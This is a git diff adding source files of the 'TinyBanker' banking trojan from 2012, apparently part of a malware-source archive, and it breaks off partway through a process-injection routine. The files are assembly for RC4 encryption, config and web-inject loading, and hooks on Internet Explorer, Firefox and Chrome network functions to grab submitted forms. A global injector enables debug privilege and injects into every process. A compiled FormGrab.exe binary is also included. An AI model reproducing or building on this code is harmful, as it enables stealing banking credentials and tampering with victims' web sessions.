100644 index 0000000..bb3e42a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc @@ -0,0 +1,64 @@ + +.code + +RC4SetKey proc lpKeyTable, lpPass, nPass : dword + pushad + + mov edi, lpKeyTable + xor ecx, ecx +@@: mov [edi + ecx], cl + inc ecx + cmp ecx, 256 + jne @B + + mov esi, lpPass + xor ebx, ebx + xor ecx, ecx + xor edx, edx +@@: mov al, [edi + ecx] + add bl, [esi + edx] + add bl, al + mov ah, [edi + ebx] + mov [edi + ecx], ah + mov [edi + ebx], al + inc ecx + cmp ecx, 256 + je @F + inc edx + cmp edx, nPass + jl @B + xor edx, edx + jmp @B + +@@: popad + ret +RC4SetKey endp + + + +RC4Crypt proc lpKeyTable, lpData, nData : dword + pushad + + mov edi, lpKeyTable + mov esi, lpData + xor eax, eax + xor ebx, ebx + xor ecx, ecx + xor edx, edx +@@: inc bl + mov dl, [edi + ebx] + add al, dl + mov cl, [edi + eax] + mov [edi + ebx], cl + mov [edi + eax], dl + add cl, dl + mov cl, [edi + ecx] + xor [esi], cl + inc esi + dec nData + jnz @B + + popad + ret +RC4Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM new file mode 100644 index 0000000..7ae11ef --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/DEBUG.ASM @@ -0,0 +1,59 @@ + +.code + +DbgInLog proc uses ecx lpText, dwSize : dword + local hFile : dword + local nWritten : dword + + + invokx _CreateFileA[ebx], 'c:\DEVELOP\DEBUG.TXT', GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 + mov hFile, eax + invokx _SetFilePointer[ebx], hFile, 0, 0, FILE_END + invokx _WriteFile[ebx], hFile, lpText, dwSize, &nWritten, 0 + invokx _CloseHandle[ebx], hFile + + ret +DbgInLog endp + + +BUFF db " " +Debug proc lpszStr, dwValue, lpMemory : dword + + invokx _lstrlenA[ebx], lpszStr + test eax, eax + jz @F + invokx &DbgInLog[ebx], lpszStr, eax +@@: invokx &DbgInLog[ebx], "\r\nCODE: ", 8 + + + lea eax, BUFF[ebx] + mov dword ptr[eax], " " + mov dword ptr[eax+4], " " + invokx &dwtoh[ebx], dwValue, &BUFF[ebx] + invokx &DbgInLog[ebx], &BUFF[ebx], 8 + + + invokx &DbgInLog[ebx], "\r\n\r\n", 4 + mov eax, lpMemory + test eax, eax + jz @F + mov edi, eax + mov ecx, [edi] ;; ecx - len of all grabbed data + add edi, 4 ;; eax - pointer to all grabbed data + + lea eax, BUFF[ebx] + mov dword ptr[eax], " " + mov dword ptr[eax+4], " " + invokx &dwtoa[ebx], ecx, &BUFF[ebx] + invokx &DbgInLog[ebx], &BUFF[ebx], 8 + invokx &DbgInLog[ebx], "\r\n", 2 + + invokx &DbgInLog[ebx], edi, ecx + + +@@: invokx &DbgInLog[ebx], "\r\n\r\n==================================================\r\n\r\n", 58 + + + ret +Debug endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM new file mode 100644 index 0000000..a39ddaf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/FORMGRAB.ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== ;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW +; invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW +; invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe b/malwares/Source/Original/TinyBanker_Jan2012/source/FormGrab.exe new file mode 100644 index 0000000000000000000000000000000000000000..91d1f6dd10ad0c9f11bb13aac333e1d951687efa GIT binary patch literal 10240 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 VW-rQ(7$a^HMaNmi_AI%7`xk?v)UN;l literal 0 HcmV?d00001 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc new file mode 100644 index 0000000..2fa5e7e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/Array.inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ArrayKeyPos - returns cell ptr of given key ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given key ;; +;; Return: 0 - not found ;; +;; !0 - found, cell ptr of given key ;; +;; ==================================================================================================== ;; +ArrayKeyPos proc uses ecx edx lpArray, dwKey : dword + + mov eax, lpArray ;; eax - pointer to memory of array + mov ecx, ARRAYLEN ;; ecx - number of array cells + mov edx, dwKey ;; edx - needed handle + + ;; Search current key in array +@@: cmp [eax], edx + je @ret ;; key found + add eax, 8 ;; next cell + dec ecx + jnz @B + + xor eax, eax + +@ret: + ret +ArrayKeyPos endp + + + +;; ==================================================================================================== ;; +;; ArrayKeyBuff - add key and related memory buffer into array and returns its cell ptr ;; +;; if key already exists then returns its cell ptr ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given parameter ;; +;; Return: 0 - failed ;; +;; !0 - success, cell ptr of given key ;; +;; ==================================================================================================== ;; +ArrayKeyBuff proc uses ecx edi lpArray, dwKey : dword + + invokx &ArrayKeyPos[ebx], lpArray, dwKey + jmpnz eax, @ret ;; key already exist + + invokx &ArrayKeyPos[ebx], lpArray, 0 + jmpz eax, @ret ;; free cell not found + mov edi, eax ;; store cell ptr + + invokx _VirtualAlloc[ebx], 0, BUFFERLEN, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + jmpz eax, @ret ;; failed to alloc memory + + mov ecx, dwKey + mov [edi], ecx ;; save key + mov [edi+4], eax ;; save value + + mov eax, edi ;; restore cell ptr + +@ret: + ret +ArrayKeyBuff endp + + + +;; ==================================================================================================== ;; +;; ArrayKeyDel - delete cell with given key and related memory buffer ;; +;; __in lpArray - pointer to array ;; +;; __in dwKey - given handle key ;; +;; ==================================================================================================== ;; +ArrayKeyDel proc uses ecx edx lpArray, dwKey : dword + + invokx &ArrayKeyPos[ebx], lpArray, dwKey + jmpz eax, @ret ;; key not found + + mov edx, [eax+4] ;; store cell value + + xor ecx, ecx + mov [eax+4], ecx ;; del value + mov [eax], ecx ;; del key + + jmpz edx, @ret ;; cell value is not memory ptr + + invokx _VirtualFree[ebx], edx, 0, MEM_RELEASE + +@ret: + ret +ArrayKeyDel endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc new file mode 100644 index 0000000..5a812de --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Func/FileRead.inc @@ -0,0 +1,68 @@ + +.code + +;; ==================================================================================================== ;; +;; FileRead - read data from file and returns memory pointer ;; +;; __in lpszFileName - pointer to filename ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to memory with file data with its len in first dword ;; +;; ==================================================================================================== ;; +FileRead proc uses edi esi lpszFileName : dword + local hFile : dword + local lpMemBuffer : dword + local dwBytesRead : dword + + + + mov lpMemBuffer, 0 + + ;; Open file lpszFileName + invokx _CreateFileA[ebx], lpszFileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 + cmp eax, INVALID_HANDLE_VALUE + je @ret + + mov hFile, eax + + + ;; Get file size + invokx _GetFileSize[ebx], hFile, 0 + cmp eax, INVALID_FILE_SIZE + je @closefile + + mov esi, eax ;; FileSize + + + ;; Alloc memory for data + add eax, 4 + invokx _VirtualAlloc[ebx], 0, eax, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + test eax, eax + jz @closefile + + ;; Store file len in first dword + mov lpMemBuffer, eax + mov edi, eax + mov eax, esi + stosd + + + ;; Read data in memory + invokx _ReadFile[ebx], hFile, edi, esi, &dwBytesRead, 0 + test eax, eax + jnz @closefile + + + ;; Free memory if ReadFile failed + invokx _VirtualFree[ebx], lpMemBuffer, 0, MEM_RELEASE + mov lpMemBuffer, 0 + + +@closefile: + invokx _CloseHandle[ebx], hFile + + +@ret: + mov eax, lpMemBuffer + ret +FileRead endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM new file mode 100644 index 0000000..0ffc7b5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/INCLUDES.ASM @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + +; include Install\Install.inc + include Install\GlobalInject.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM new file mode 100644 index 0000000..ff0a880 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/INJECTED.ASM @@ -0,0 +1,24 @@ + +.code + +;; ==================================================================================================== ;; +;; INJECTED_START - injected code entry point ;; +;; ==================================================================================================== ;; +INJECTED_START proc + local WSAData : WSADATA + + + + GetBaseDelta ebx + + invokx &RestoreAPIs[ebx] + + invokx _WSAStartup[ebx], 202h, &WSAData + + invokx &InitCfg[ebx] + invokx &InitArr[ebx] + invokx &InitHooks[ebx] + + ret +INJECTED_START endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc new file mode 100644 index 0000000..31347e4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitArr.inc @@ -0,0 +1,25 @@ + +.code + +;; ==================================================================================================== ;; +;; InitArr - ;; +;; ==================================================================================================== ;; +InitArr proc + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpSendBuffersArray[ebx], eax + + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpReadBuffersArray[ebx], eax + + + invokx _VirtualAlloc[ebx], 0, ARRAYLEN*8, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov lpSockHandlesArray[ebx], eax + + ret +InitArr endp + + lpSockHandlesArray dd 0 + lpSendBuffersArray dd 0 + lpReadBuffersArray dd 0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc new file mode 100644 index 0000000..c7af3cf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitCfg.inc @@ -0,0 +1,20 @@ + +.code + +;; ==================================================================================================== ;; +;; InitCfg - ;; +;; ==================================================================================================== ;; +InitCfg proc + + invokx &FileRead[ebx], 'c:\DEVELOP\CONFIG.TXT' + mov lpConfigFileData[ebx], eax + + + invokx &FileRead[ebx], 'c:\DEVELOP\INJECTS.TXT' + mov lpWebInjectsData[ebx], eax + + ret +InitCfg endp + + lpConfigFileData dd 0 + lpWebInjectsData dd 0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc new file mode 100644 index 0000000..79730ca --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Init/InitHooks.inc @@ -0,0 +1,78 @@ + +.code + +;; ==================================================================================================== ;; +;; InitHooks - ;; +;; ==================================================================================================== ;; +InitHooks proc uses ecx + + invokx _GetModuleHandleA[ebx], "wininet" + jmpz eax, @F + invokx &ApiAddrFromCrc[ebx], eax + + invokx &HookAPI[ebx], &hHttpQueryInfoA[ebx], &_HttpQueryInfoA[ebx] + + invokx &HookAPI[ebx], &hInternetCloseHandle[ebx], &_InternetCloseHandle[ebx] + invokx &HookAPI[ebx], &hHttpSendRequestA[ebx], &_HttpSendRequestA[ebx] + invokx &HookAPI[ebx], &hHttpSendRequestW[ebx], &_HttpSendRequestW[ebx] + + invokx &HookAPI[ebx], &hInternetQueryDataAvailable[ebx], &_InternetQueryDataAvailable[ebx] + invokx &HookAPI[ebx], &hInternetReadFile[ebx], &_InternetReadFile[ebx] + +; invokx &HookAPI[ebx], &hInternetReadFileExA[ebx], &_InternetReadFileExA[ebx] +; invokx &HookAPI[ebx], &hHttpSendRequestExW[ebx], &_HttpSendRequestExW[ebx] +; invokx &HookAPI[ebx], &hInternetWriteFile[ebx], &_InternetWriteFile[ebx] +; invokx &HookAPI[ebx], &hHttpEndRequest[ebx], &_HttpEndRequestA[ebx] + + +;; ================================================== ;; + +@@: invokx _GetModuleHandleA[ebx], "nspr4" + jmpz eax, @F + invokx &ApiAddrFromCrc[ebx], eax + + invokx &HookAPI[ebx], &hPR_Write[ebx], &_PR_Write[ebx] + invokx &HookAPI[ebx], &hPR_Read[ebx], &_PR_Read[ebx] + invokx &HookAPI[ebx], &hPR_Close[ebx], &_PR_Close[ebx] + + +;; ================================================== ;; + +@@: invokx _GetModuleHandleA[ebx], "chrome" + jmpz eax, @ret + + + call @F + ;; 75 05 83 C8 FF 05 C3 56 + db 075h, 005h, 083h, 0C8h, 0FFh, 05Fh, 0C3h, 056h +@@: pop ecx + invokx &StrIPos[ebx], eax, 25000000, ecx, 8 + jmpz eax, @ret + sub eax, 14 + mov _PR_Close[ebx], eax + + + call @F + db 08Bh, 04Ch, 024h, 004h +@@: pop ecx + inc eax + invokx &StrIPos[ebx], eax, 2048, ecx, 4 + mov _PR_Read[ebx], eax + + + call @F + db 08Bh, 04Ch, 024h, 004h +@@: pop ecx + inc eax + invokx &StrIPos[ebx], eax, 2048, ecx, 4 + mov _PR_Write[ebx], eax + + + invokx &HookAPI[ebx], &hPR_Write[ebx], &_PR_Write[ebx] + invokx &HookAPI[ebx], &hPR_Read[ebx], &_PR_Read[ebx] + invokx &HookAPI[ebx], &hPR_Close[ebx], &_PR_Close[ebx] + +@ret: + ret +InitHooks endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc new file mode 100644 index 0000000..be6a22d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/GlobalInject.inc @@ -0,0 +1,126 @@ + +.code + +;; ==================================================================================================== ;; +;; EnumProcs - procedure enum all processes handles and pass them into InjAndRun procedure ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +EnumProcs proc + local idProcess : dword + local hSnapshot : dword + local dwPrevPriv : dword + local p_entry : PROCESSENTRY32 + + + + ;; Get debug drivilege + invokx _RtlAdjustPrivilege[ebx],\ + 20,\ ;; SE_DEBUG_PRIVILEGE + 1,\ ;; Enable + 0,\ ;; ADJUST_CURRENT_PROCESS + &dwPrevPriv ;; Enabled + + + ;; Get current id to prevent self inject + invokx _GetCurrentProcessId[ebx] + mov idProcess, eax + + + ;; Take snapshot of the processes + invokx _CreateToolhelp32Snapshot[ebx], TH32CS_SNAPPROCESS, 0 + mov hSnapshot, eax + inc eax + jmpz eax, @ret + + + ;; Get first process in snapshot + mov p_entry.dwSize, sizeof PROCESSENTRY32 + invokx _Process32First[ebx], hSnapshot, &p_entry + jmpz eax, @ret + jmp @inject + + +@next: + ;; Get next process in snapshot + mov p_entry.dwSize, sizeof PROCESSENTRY32 + invokx _Process32Next[ebx], hSnapshot, &p_entry + jmpz eax, @nomore + + +@inject: + ;; Prevent self inject + mov eax, idProcess 